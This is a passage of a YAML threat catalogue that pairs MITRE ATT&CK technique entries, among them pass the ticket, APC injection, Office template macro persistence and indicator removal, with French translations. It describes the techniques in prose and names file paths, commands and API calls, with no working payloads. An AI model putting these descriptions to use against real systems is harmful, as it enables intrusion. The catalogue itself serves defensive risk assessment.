          \ g\xE9n\xE9r\xE9s dans les syst\xE8mes pour supprimer les preuves de leur\
          \ pr\xE9sence ou entraver les d\xE9fenses. Divers artefacts peuvent \xEA\
          tre cr\xE9\xE9s par un adversaire ou quelque chose qui peut \xEAtre attribu\xE9\
          \ aux actions d\u2019un adversaire. En r\xE8gle g\xE9n\xE9rale, ces artefacts\
          \ sont utilis\xE9s comme indicateurs d\xE9fensifs li\xE9s aux \xE9v\xE9\
          nements surveill\xE9s, tels que les cha\xEEnes de caract\xE8res des fichiers\
          \ t\xE9l\xE9charg\xE9s, les journaux g\xE9n\xE9r\xE9s \xE0 partir des actions\
          \ de l\u2019utilisateur et d\u2019autres donn\xE9es analys\xE9es par les\
          \ d\xE9fenseurs. L\u2019emplacement, le format et le type d\u2019artefact\
          \ (par exemple, la commande ou l\u2019historique de connexion) sont souvent\
          \ sp\xE9cifiques \xE0 chaque plate-forme.\n\nLa suppression de ces indicateurs\
          \ peut interf\xE9rer avec la collecte d\u2019\xE9v\xE9nements, la cr\xE9\
          ation de rapports ou d\u2019autres processus utilis\xE9s pour d\xE9tecter\
          \ les activit\xE9s d\u2019intrusion. Cela peut compromettre l\u2019int\xE9\
          grit\xE9 des solutions de s\xE9curit\xE9 en faisant en sorte que des \xE9\
          v\xE9nements notables ne soient pas signal\xE9s. Cette activit\xE9 peut\
          \ \xE9galement entraver l\u2019analyse judiciaire et l\u2019intervention\
          \ en cas d\u2019incident, en raison du manque de donn\xE9es suffisantes\
          \ pour d\xE9terminer ce qui s\u2019est pass\xE9.\nhttps://attack.mitre.org/techniques/T1070"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1048.001
    ref_id: T1048.001
    name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol
    description: "Adversaries may steal data by exfiltrating it over a symmetrically\
      \ encrypted network protocol other than that of the existing command and control\
      \ channel. The data may also be sent to an alternate network location from the\
      \ main command and control server. \n\nSymmetric encryption algorithms are those\
      \ that use shared or the same keys/secrets on each end of the channel. This\
      \ requires an exchange or pre-arranged agreement/possession of the value used\
      \ to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption\
      \ often utilize symmetric encryption once keys are exchanged, but adversaries\
      \ may opt to manually share keys and implement symmetric cryptographic algorithms\
      \ (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This\
      \ may result in multiple layers of encryption (in protocols that are natively\
      \ encrypted such as HTTPS) or encryption in protocols that not typically encrypted\
      \ (such as HTTP or FTP).\nhttps://attack.mitre.org/techniques/T1048/001"
    translations:
      fr:
        name: "Exfiltration via un protocole non-C2 crypt\xE9 sym\xE9trique"
        description: "Les adversaires peuvent voler des donn\xE9es en les exfiltrant\
          \ via un protocole r\xE9seau chiffr\xE9 sym\xE9triquement autre que celui\
          \ du canal de commande et de contr\xF4le existant. Les donn\xE9es peuvent\
          \ \xE9galement \xEAtre envoy\xE9es \xE0 un autre emplacement r\xE9seau \xE0\
          \ partir du serveur de commande et de contr\xF4le principal. \n\nLes algorithmes\
          \ de chiffrement sym\xE9trique sont ceux qui utilisent des cl\xE9s/secrets\
          \ partag\xE9s ou identiques \xE0 chaque extr\xE9mit\xE9 du canal. Cela n\xE9\
          cessite un \xE9change ou un accord pr\xE9\xE9tabli/la possession de la valeur\
          \ utilis\xE9e pour crypter et d\xE9crypter les donn\xE9es. \n\nLes protocoles\
          \ r\xE9seau qui utilisent le chiffrement asym\xE9trique utilisent souvent\
          \ le chiffrement sym\xE9trique une fois les cl\xE9s \xE9chang\xE9es, mais\
          \ les adversaires peuvent choisir de partager manuellement les cl\xE9s et\
          \ d\u2019impl\xE9menter des algorithmes de chiffrement sym\xE9trique (ex\
          \ : RC4, AES) plut\xF4t que d\u2019utiliser des m\xE9canismes int\xE9gr\xE9\
          s dans un protocole. Cela peut entra\xEEner plusieurs couches de chiffrement\
          \ (dans les protocoles chiffr\xE9s nativement, tels que HTTPS) ou le chiffrement\
          \ dans des protocoles qui ne sont g\xE9n\xE9ralement pas chiffr\xE9s (tels\
          \ que HTTP ou FTP).\nhttps://attack.mitre.org/techniques/T1048/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.001
    ref_id: T1137.001
    name: Office Template Macros
    description: "Adversaries may abuse Microsoft Office templates to obtain persistence\
      \ on a compromised system. Microsoft Office contains templates that are part\
      \ of common Office applications and are used to customize styles. The base templates\
      \ within the application are used each time an application starts. (Citation:\
      \ Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications\
      \ (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base\
      \ template and used to execute code when the respective Office application starts\
      \ in order to obtain persistence. Examples for both Word and Excel have been\
      \ discovered and published. By default, Word has a Normal.dotm template created\
      \ that can be modified to include a malicious macro. Excel does not have a template\
      \ file created by default, but one can be added that will automatically be loaded.(Citation:\
      \ enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates\
      \ may also be stored and pulled from remote locations.(Citation: GlobalDotName\
      \ Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\\
      AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb\
      \ location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\\
      Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location\
      \ of the base template to point to their own by hijacking the application's\
      \ search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\\
      Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying\
      \ the GlobalDotName registry key. By modifying the GlobalDotName registry key\
      \ an adversary can specify an arbitrary location, file name, and file extension\
      \ to use for the template that will be loaded on application startup. To abuse\
      \ GlobalDotName, adversaries may first need to register the template as a trusted\
      \ document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)\
      \ \n\nAn adversary may need to enable macros to execute unrestricted depending\
      \ on the system or enterprise security policy on use of macros.\nhttps://attack.mitre.org/techniques/T1137/001"
    translations:
      fr:
        name: "Macros de mod\xE8les Office"
        description: "Les adversaires peuvent abuser des mod\xE8les Microsoft Office\
          \ pour obtenir la persistance sur un syst\xE8me compromis. Microsoft Office\
          \ contient des mod\xE8les qui font partie des applications Office courantes\
          \ et qui sont utilis\xE9s pour personnaliser les styles. Les mod\xE8les\
          \ de base de l\u2019application sont utilis\xE9s chaque fois qu\u2019une\
          \ application d\xE9marre. (Citation : Microsoft Change Normal Template)\n\
          \nLes macros Office Visual Basic pour Applications (VBA) (R\xE9f\xE9rence\
          \ : MSDN VBA dans Office) peuvent \xEAtre ins\xE9r\xE9es dans le mod\xE8\
          le de base et utilis\xE9es pour ex\xE9cuter du code au d\xE9marrage de l\u2019\
          application Office respective afin d\u2019obtenir la persistance. Des exemples\
          \ pour Word et Excel ont \xE9t\xE9 d\xE9couverts et publi\xE9s. Par d\xE9\
          faut, Word dispose d\u2019un mod\xE8le Normal.dotm cr\xE9\xE9 qui peut \xEA\
          tre modifi\xE9 pour inclure une macro malveillante. Excel n\u2019a pas de\
          \ fichier mod\xE8le cr\xE9\xE9 par d\xE9faut, mais il est possible d\u2019\
          en ajouter un qui sera automatiquement charg\xE9. (Citation : enigma0x3\
          \ normal.dotm)(Citation\_: Macros de mod\xE8le de bureau hexacorn) Les mod\xE8\
          les partag\xE9s peuvent \xE9galement \xEAtre stock\xE9s et extraits \xE0\
          \ partir d\u2019emplacements distants. (Citation\_: GlobalDotName juin 2019)\
          \ \n\nEmplacement de Word Normal.dotm :<br>\n<code>C\_:\\Users\\&lt;username&gt;\\\
          AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nEmplacement\
          \ du fichier Excel Personal.xlsb :<br>\n<code>C\_:\\Users\\&lt;username&gt;\\\
          AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL. XLSB</code>\n\nLes\
          \ adversaires peuvent \xE9galement modifier l\u2019emplacement du mod\xE8\
          le de base pour qu\u2019il pointe vers le leur en d\xE9tournant l\u2019\
          ordre de recherche de l\u2019application, par exemple Word 2016 recherchera\
          \ d\u2019abord Normal.dotm sous <code>C\_:\\Program Files (x86)\\Microsoft\
          \ Office\\root\\Office16\\</code>, ou en modifiant la cl\xE9 de registre\
          \ GlobalDotName. En modifiant la cl\xE9 de registre GlobalDotName, un adversaire\
          \ peut sp\xE9cifier un emplacement, un nom de fichier et une extension de\
          \ fichier arbitraires \xE0 utiliser pour le mod\xE8le qui sera charg\xE9\
          \ au d\xE9marrage de l\u2019application. Pour abuser de GlobalDotName, les\
          \ adversaires peuvent d\u2019abord avoir besoin d\u2019enregistrer le mod\xE8\
          le en tant que document de confiance ou de le placer dans un emplacement\
          \ de confiance. (Citation\_: GlobalDotName juin 2019) \n\nUn adversaire\
          \ peut avoir besoin d\u2019activer l\u2019ex\xE9cution illimit\xE9e des\
          \ macros en fonction de la politique de s\xE9curit\xE9 du syst\xE8me ou\
          \ de l\u2019entreprise sur l\u2019utilisation des macros.\nhttps://attack.mitre.org/techniques/T1137/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.003
    ref_id: T1583.003
    name: Virtual Private Server
    description: "Adversaries may rent Virtual Private Servers (VPSs)\_that can be\
      \ used during targeting. There exist a variety of cloud service providers that\
      \ will sell virtual machines/containers as a service. By utilizing a VPS, adversaries\
      \ can make it difficult to physically tie back operations to them. The use of\
      \ cloud infrastructure can also make it easier for adversaries to rapidly provision,\
      \ modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in\
      \ later stages of the adversary lifecycle, such as Command and Control, can\
      \ allow adversaries to benefit from the ubiquity and trust associated with higher\
      \ reputation cloud service providers. Adversaries may also acquire infrastructure\
      \ from VPS service providers that are known for renting VPSs with minimal registration\
      \ information, allowing for more anonymous acquisitions of infrastructure.(Citation:\
      \ TrendmicroHideoutsLease)\nhttps://attack.mitre.org/techniques/T1583/003"
    translations:
      fr:
        name: "Serveur Priv\xE9 Virtuel"
        description: "Les adversaires peuvent louer des serveurs priv\xE9s virtuels\
          \ (VPS) qui peuvent \xEAtre utilis\xE9s pendant le ciblage. Il existe une\
          \ vari\xE9t\xE9 de fournisseurs de services cloud qui vendent des machines\
          \ virtuelles/conteneurs en tant que service. En utilisant un VPS, les adversaires\
          \ peuvent rendre difficile le lien physique entre eux et les op\xE9rations.\
          \ L\u2019utilisation d\u2019une infrastructure cloud peut \xE9galement permettre\
          \ aux adversaires de provisionner, de modifier et d\u2019arr\xEAter rapidement\
          \ leur infrastructure.\n\nL\u2019acquisition d\u2019un VPS \xE0 utiliser\
          \ dans les \xE9tapes ult\xE9rieures du cycle de vie de l\u2019adversaire,\
          \ telles que la commande et le contr\xF4le, peut permettre aux adversaires\
          \ de b\xE9n\xE9ficier de l\u2019omnipr\xE9sence et de la confiance associ\xE9\
          es aux fournisseurs de services cloud de meilleure r\xE9putation. Les adversaires\
          \ peuvent \xE9galement acqu\xE9rir de l\u2019infrastructure aupr\xE8s de\
          \ fournisseurs de services VPS connus pour louer des VPS avec un minimum\
          \ d\u2019informations d\u2019enregistrement, ce qui permet des acquisitions\
          \ d\u2019infrastructure plus anonymes. (Citation : TrendmicroHideoutsLease)\n\
          https://attack.mitre.org/techniques/T1583/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213.001
    ref_id: T1213.001
    name: Confluence
    description: 'Adversaries may leverage Confluence repositories to mine valuable
      information. Often found in development environments alongside Atlassian JIRA,
      Confluence is generally used to store development-related documentation, however,
      in general may contain more diverse categories of useful information, such as:


      * Policies, procedures, and standards

      * Physical / logical network diagrams

      * System architecture diagrams

      * Technical system documentation

      * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))

      * Work / project schedules

      * Source code snippets

      * Links to network shares and other internal resources

      https://attack.mitre.org/techniques/T1213/001'
    translations:
      fr:
        name: Confluent
        description: "Les adversaires peuvent exploiter les r\xE9f\xE9rentiels Confluence\
          \ pour extraire des informations pr\xE9cieuses. Souvent pr\xE9sent dans\
          \ les environnements de d\xE9veloppement aux c\xF4t\xE9s d\u2019Atlassian\
          \ JIRA, Confluence est g\xE9n\xE9ralement utilis\xE9 pour stocker la documentation\
          \ li\xE9e au d\xE9veloppement, mais peut en g\xE9n\xE9ral contenir des cat\xE9\
          gories plus diverses d\u2019informations utiles, telles que :\n\n* Politiques,\
          \ proc\xE9dures et normes\n* Diagrammes de r\xE9seau physiques / logiques\n\
          * Diagrammes d\u2019architecture syst\xE8me\n* Documentation technique du\
          \ syst\xE8me\n* R\xE9f\xE9rences de test/d\xE9veloppement (c\u2019est-\xE0\
          -dire, [Informations d\u2019identification non s\xE9curis\xE9es](https://attack.mitre.org/techniques/T1552))\n\
          * Calendriers de travaux / projets\n* Extraits de code source\n* Liens vers\
          \ des partages de r\xE9seau et d\u2019autres ressources internes\nhttps://attack.mitre.org/techniques/T1213/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1550.003
    ref_id: T1550.003
    name: Pass the Ticket
    description: "Adversaries may \u201Cpass the ticket\u201D using stolen Kerberos\
      \ tickets to move laterally within an environment, bypassing normal system access\
      \ controls. Pass the ticket (PtT) is a method of authenticating to a system\
      \ using Kerberos tickets without having access to an account's password. Kerberos\
      \ authentication can be used as the first step to lateral movement to a remote\
      \ system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).\
      \ A user's service tickets or ticket granting ticket (TGT) may be obtained,\
      \ depending on the level of access. A service ticket allows for access to a\
      \ particular resource, whereas a TGT can be used to request service tickets\
      \ from the Ticket Granting Service (TGS) to access any resource the user has\
      \ privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation:\
      \ GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002)\
      \ can be obtained for services that use Kerberos as an authentication mechanism\
      \ and are used to generate tickets to access that particular resource and the\
      \ system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD\
      \ Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001)\
      \ can be obtained for the domain using the Key Distribution Service account\
      \ KRBTGT account NTLM hash, which enables generation of TGTs for any account\
      \ in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create\
      \ a valid Kerberos ticket using other user information, such as stolen password\
      \ hashes or AES keys. For example, \"overpassing the hash\" involves using a\
      \ NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002))\
      \ while also using the password hash to create a valid Kerberos ticket.(Citation:\
      \ Stealthbits Overpass-the-Hash)\nhttps://attack.mitre.org/techniques/T1550/003"
    translations:
      fr:
        name: Passez le billet
        description: "Les adversaires peuvent \xAB passer le ticket \xBB \xE0 l\u2019\
          aide de tickets Kerberos vol\xE9s pour se d\xE9placer lat\xE9ralement dans\
          \ un environnement, en contournant les contr\xF4les d\u2019acc\xE8s normaux\
          \ au syst\xE8me. Pass the ticket (PtT) est une m\xE9thode d\u2019authentification\
          \ aupr\xE8s d\u2019un syst\xE8me \xE0 l\u2019aide de tickets Kerberos sans\
          \ avoir acc\xE8s au mot de passe d\u2019un compte. L\u2019authentification\
          \ Kerberos peut \xEAtre utilis\xE9e comme premi\xE8re \xE9tape du mouvement\
          \ lat\xE9ral vers un syst\xE8me distant.\n\nLors de l\u2019ex\xE9cution\
          \ de PtT, les tickets Kerberos valides pour les [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ sont captur\xE9s par [Vidage des informations d\u2019identification du\
          \ syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003).\
          \ Un ticket de service de l\u2019utilisateur ou un ticket d\u2019octroi\
          \ de ticket (TGT) peut \xEAtre obtenu, en fonction du niveau d\u2019acc\xE8\
          s. Un ticket de service permet d\u2019acc\xE9der \xE0 une ressource particuli\xE8\
          re, tandis qu\u2019un TGT peut \xEAtre utilis\xE9 pour demander des tickets\
          \ de service au service d\u2019octroi de tickets (TGS) afin d\u2019acc\xE9\
          der \xE0 toute ressource \xE0 laquelle l\u2019utilisateur dispose de privil\xE8\
          ges d\u2019acc\xE8s. (Citation : Attaques ADSecurity AD Kerberos)(Citation\
          \ : GentilKiwi Pass the Ticket)\n\nUn [Silver Ticket](https://attack.mitre.org/techniques/T1558/002)\
          \ peut \xEAtre obtenu pour les services qui utilisent Kerberos comme m\xE9\
          canisme d\u2019authentification et qui sont utilis\xE9s pour g\xE9n\xE9\
          rer des tickets permettant d\u2019acc\xE9der \xE0 cette ressource particuli\xE8\
          re et au syst\xE8me qui h\xE9berge la ressource (par exemple, SharePoint).\
          \ (Citation : Attaques ADSecurity AD Kerberos)\n\nUn [Golden Ticket](https://attack.mitre.org/techniques/T1558/001)\
          \ peut \xEAtre obtenu pour le domaine \xE0 l\u2019aide du hachage NTLM du\
          \ compte du service de distribution de cl\xE9s KRBTGT, qui permet de g\xE9\
          n\xE9rer des TGT pour n\u2019importe quel compte dans Active Directory.\
          \ (R\xE9f\xE9rence : Campbell 2014)\n\nLes adversaires peuvent \xE9galement\
          \ cr\xE9er un ticket Kerberos valide \xE0 l\u2019aide d\u2019autres informations\
          \ utilisateur, telles que des hachages de mot de passe vol\xE9s ou des cl\xE9\
          s AES. Par exemple, le \xAB d\xE9passement du hachage \xBB implique l\u2019\
          utilisation d\u2019un hachage de mot de passe NTLM pour s\u2019authentifier\
          \ en tant qu\u2019utilisateur (c\u2019est-\xE0-dire [Passer le hachage](https://attack.mitre.org/techniques/T1550/002))\
          \ tout en utilisant le hachage de mot de passe pour cr\xE9er un ticket Kerberos\
          \ valide. (Citation : Stealthbits Overpass-the-Hash)\nhttps://attack.mitre.org/techniques/T1550/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1609
    ref_id: T1609
    name: Container Administration Command
    description: 'Adversaries may abuse a container administration service to execute
      commands within a container. A container administration service such as the
      Docker daemon, the Kubernetes API server, or the kubelet may allow remote management
      of containers within an environment.(Citation: Docker Daemon CLI)(Citation:
      Kubernetes API)(Citation: Kubernetes Kubelet)


      In Docker, adversaries may specify an entrypoint during container deployment
      that executes a script or command, or they may use a command such as <code>docker
      exec</code> to execute a command within a running container.(Citation: Docker
      Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient
      permissions, they may gain remote execution in a container in the cluster via
      interaction with the Kubernetes API server, the kubelet, or by running a command
      such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)

      https://attack.mitre.org/techniques/T1609'
    translations:
      fr:
        name: "Commande d\u2019administration de conteneur"
        description: "Les adversaires peuvent abuser d\u2019un service d\u2019administration\
          \ de conteneur pour ex\xE9cuter des commandes au sein d\u2019un conteneur.\
          \ Un service d\u2019administration de conteneurs tel que le d\xE9mon Docker,\
          \ le serveur d\u2019API Kubernetes ou le kubelet peut permettre la gestion\
          \ \xE0 distance de conteneurs au sein d\u2019un environnement. (Citation\
          \ : Docker Daemon CLI)(Citation : API Kubernetes)(Citation : Kubernetes\
          \ Kubelet)\n\nDans Docker, les adversaires peuvent sp\xE9cifier un point\
          \ d\u2019entr\xE9e lors du d\xE9ploiement du conteneur qui ex\xE9cute un\
          \ script ou une commande, ou ils peuvent utiliser une commande telle que\
          \ <code>docker exec</code> pour ex\xE9cuter une commande dans un conteneur\
          \ en cours d\u2019ex\xE9cution. (Citation : Docker Entrypoint)(Citation\
          \ : Docker Exec) Dans Kubernetes, si un adversaire dispose d\u2019autorisations\
          \ suffisantes, il peut obtenir une ex\xE9cution \xE0 distance dans un conteneur\
          \ du cluster via une interaction avec le serveur d\u2019API Kubernetes,\
          \ le kubelet ou en ex\xE9cutant une commande telle que <code>kubectl exec</code>.\
          \ (Citation : Kubectl Exec Get Shell)\nhttps://attack.mitre.org/techniques/T1609"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1083
    ref_id: T1083
    name: File and Directory Discovery
    description: 'Adversaries may enumerate files and directories or may search in
      specific locations of a host or network share for certain information within
      a file system. Adversaries may use the information from [File and Directory
      Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery
      to shape follow-on behaviors, including whether or not the adversary fully infects
      the target and/or attempts specific actions.


      Many command shell utilities can be used to obtain this information. Examples
      include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>,
      and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may
      also be used to gather file and directory information and interact with the
      [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also
      leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      on network devices to gather file and directory information (e.g. <code>dir</code>,
      <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)


      Some files and directories may require elevated or specific user permissions
      to access.

      https://attack.mitre.org/techniques/T1083'
    translations:
      fr:
        name: "D\xE9couverte de fichiers et de r\xE9pertoires"
        description: "Les adversaires peuvent \xE9num\xE9rer des fichiers et des r\xE9\
          pertoires ou rechercher certaines informations au sein d\u2019un syst\xE8\
          me de fichiers dans des emplacements sp\xE9cifiques d\u2019un h\xF4te ou\
          \ d\u2019un partage r\xE9seau. Les adversaires peuvent utiliser les informations\
          \ de la [D\xE9couverte de fichiers et de r\xE9pertoires](https://attack.mitre.org/techniques/T1083)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner les comportements\
          \ de suivi, notamment si l\u2019adversaire infecte compl\xE8tement la cible\
          \ et/ou tente ou non des actions sp\xE9cifiques.\n\nDe nombreux utilitaires\
          \ d\u2019interpr\xE9teur de commandes peuvent \xEAtre utilis\xE9s pour obtenir\
          \ ces informations. Il <code>s\u2019agit</code> par exemple <code>de dir</code>,\
          \ tree, <code>ls</code>, <code>find</code> et <code>locate</code>. (Citation\
          \ : Commandes Windows JPCERT) Des outils personnalis\xE9s peuvent \xE9galement\
          \ \xEAtre utilis\xE9s pour collecter des informations sur les fichiers et\
          \ les r\xE9pertoires et interagir avec l'[API native](https://attack.mitre.org/techniques/T1106).\
          \ Les adversaires peuvent \xE9galement exploiter une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour collecter des informations\
          \ de fichiers et de r\xE9pertoires (par exemple, <code>dir</code>, <code>show\
          \ flash</code> et/ou <code>nvram</code>). (R\xE9f\xE9rence : US-CERT-TA18-106A)\n\
          \nL\u2019acc\xE8s \xE0 certains fichiers et r\xE9pertoires peut n\xE9cessiter\
          \ des autorisations d\u2019utilisateur \xE9lev\xE9es ou sp\xE9cifiques.\n\
          https://attack.mitre.org/techniques/T1083"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1568
    ref_id: T1568
    name: Dynamic Resolution
    description: 'Adversaries may dynamically establish connections to command and
      control infrastructure to evade common detections and remediations. This may
      be achieved by using malware that shares a common algorithm with the infrastructure
      the adversary uses to receive the malware''s communications. These calculations
      can be used to dynamically adjust parameters such as the domain name, IP address,
      or port number the malware uses for command and control.


      Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).
      When contact is lost with the primary command and control server malware may
      employ dynamic resolution as a means to reestablishing command and control.(Citation:
      Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit
      2017 Activity)

      https://attack.mitre.org/techniques/T1568'
    translations:
      fr:
        name: "R\xE9solution dynamique"
        description: "Les adversaires peuvent \xE9tablir dynamiquement des connexions\
          \ \xE0 l\u2019infrastructure de commande et de contr\xF4le pour \xE9chapper\
          \ aux d\xE9tections et aux rem\xE9diations courantes. Cela peut \xEAtre\
          \ r\xE9alis\xE9 en utilisant des logiciels malveillants qui partagent un\
          \ algorithme commun avec l\u2019infrastructure que l\u2019adversaire utilise\
          \ pour recevoir les communications du logiciel malveillant. Ces calculs\
          \ peuvent \xEAtre utilis\xE9s pour ajuster dynamiquement des param\xE8tres\
          \ tels que le nom de domaine, l\u2019adresse IP ou le num\xE9ro de port\
          \ que le logiciel malveillant utilise pour la commande et le contr\xF4le.\n\
          \nLes adversaires peuvent utiliser la r\xE9solution dynamique dans le but\
          \ de cr\xE9er des [Canaux de secours](https://attack.mitre.org/techniques/T1008).\
          \ Lorsque le contact est perdu avec le serveur de commande et de contr\xF4\
          le principal, les logiciels malveillants peuvent utiliser la r\xE9solution\
          \ dynamique comme moyen de r\xE9tablir la commande et le contr\xF4le. (Citation\
          \ : Talos CCleanup 2017)(Citation : FireEye POSHSPY avril 2017)(Citation\
          \ : Activit\xE9 ESET Sednit 2017)\nhttps://attack.mitre.org/techniques/T1568"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.004
    ref_id: T1036.004
    name: Masquerade Task or Service
    description: 'Adversaries may attempt to manipulate the name of a task or service
      to make it appear legitimate or benign. Tasks/services executed by the Task
      Scheduler or systemd will typically be given a name and/or description.(Citation:
      TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have
      a service name as well as a display name. Many benign tasks and services exist
      that have commonly associated names. Adversaries may give tasks or services
      names that are similar or identical to those of legitimate ones.


      Tasks or services contain other fields, such as a description, that adversaries
      may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation:
      Fysbis Dr Web Analysis)

      https://attack.mitre.org/techniques/T1036/004'
    translations:
      fr:
        name: "T\xE2che ou service de mascarade"
        description: "Les adversaires peuvent tenter de manipuler le nom d\u2019une\
          \ t\xE2che ou d\u2019un service pour le faire para\xEEtre l\xE9gitime ou\
          \ inoffensif. Les t\xE2ches/services ex\xE9cut\xE9s par le planificateur\
          \ de t\xE2ches ou systemd re\xE7oivent g\xE9n\xE9ralement un nom et/ou une\
          \ description. (Citation : TechNet Schtasks)(Citation : Unit\xE9s de service\
          \ Systemd) Les services Windows auront un nom de service ainsi qu\u2019\
          un nom d\u2019affichage. Il existe de nombreuses t\xE2ches et services b\xE9\
          nins qui ont des noms commun\xE9ment associ\xE9s. Les adversaires peuvent\
          \ donner \xE0 des t\xE2ches ou \xE0 des services des noms similaires ou\
          \ identiques \xE0 ceux de sites l\xE9gitimes.\n\nLes t\xE2ches ou les services\
          \ contiennent d\u2019autres champs, tels qu\u2019une description, que les\
          \ adversaires peuvent tenter de faire para\xEEtre l\xE9gitimes. (Citation\
          \ : Palo Alto Shamoon, novembre 2016)(Citation : Fysbis Dr Web Analysis)\n\
          https://attack.mitre.org/techniques/T1036/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.004
    ref_id: T1055.004
    name: Asynchronous Procedure Call
    description: "Adversaries may inject malicious code into processes via the asynchronous\
      \ procedure call (APC) queue in order to evade process-based defenses as well\
      \ as possibly elevate privileges. APC injection is a method of executing arbitrary\
      \ code in the address space of a separate live process. \n\nAPC injection is\
      \ commonly performed by attaching malicious code to the APC Queue (Citation:\
      \ Microsoft APC) of a process's thread. Queued APC functions are executed when\
      \ the thread enters an alterable state.(Citation: Microsoft APC) A handle to\
      \ an existing victim process is first created with native Windows API calls\
      \ such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can\
      \ be used to invoke a function (such as <code>LoadLibrayA</code> pointing to\
      \ a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\"\
      , involves creating a suspended process in which malicious code can be written\
      \ and executed before the process' entry point (and potentially subsequent anti-malware\
      \ hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation:\
      \ ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke\
      \ malicious code previously written to the global atom table.(Citation: Microsoft\
      \ Atom Table)\n\nRunning code in the context of another process may allow access\
      \ to the process's memory, system/network resources, and possibly elevated privileges.\
      \ Execution via APC injection may also evade detection from security products\
      \ since the execution is masked under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/004"
    translations:
      fr:
        name: "Appel de proc\xE9dure asynchrone"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus via la file d\u2019attente d\u2019appels de proc\xE9dure asynchrone\
          \ (APC) afin d\u2019\xE9chapper aux d\xE9fenses bas\xE9es sur les processus\
          \ et \xE9ventuellement d\u2019\xE9lever les privil\xE8ges. L\u2019injection\
          \ APC est une m\xE9thode d\u2019ex\xE9cution de code arbitraire dans l\u2019\
          espace d\u2019adressage d\u2019un processus en direct distinct. \n\nL\u2019\
          injection APC est g\xE9n\xE9ralement effectu\xE9e en attachant un code malveillant\
          \ \xE0 la file d\u2019attente APC (Citation : Microsoft APC) du thread d\u2019\
          un processus. Les fonctions APC en file d\u2019attente sont ex\xE9cut\xE9\
          es lorsque le thread entre dans un \xE9tat modifiable. (Citation : Microsoft\
          \ APC) Un handle vers un processus victime existant est d\u2019abord cr\xE9\
          \xE9 \xE0 l\u2019aide d\u2019appels d\u2019API Windows natifs tels <code>qu\u2019\
          OpenThread</code>. \xC0 ce stade<code>, QueueUserAPC</code> peut \xEAtre\
          \ utilis\xE9 pour appeler une fonction (telle que <code>LoadLibrayA</code>\
          \ pointant vers une DLL malveillante). \n\nUne variante de l\u2019injection\
          \ APC, surnomm\xE9e \xAB injection Early Bird \xBB, consiste \xE0 cr\xE9\
          er un processus suspendu dans lequel du code malveillant peut \xEAtre \xE9\
          crit et ex\xE9cut\xE9 avant le point d\u2019entr\xE9e du processus (et potentiellement\
          \ les crochets anti-malware ult\xE9rieurs) via un APC. (Citation : CyberBit\
          \ Early Bird avril 2018) AtomBombing (Citation\_: ENSIL AtomBombing Oct\
          \ 2016) est une autre variante qui utilise des APC pour invoquer du code\
          \ malveillant pr\xE9c\xE9demment \xE9crit dans la table globale atom. (Citation\
          \ : Microsoft Atom Table)\n\nL\u2019ex\xE9cution de code dans le contexte\
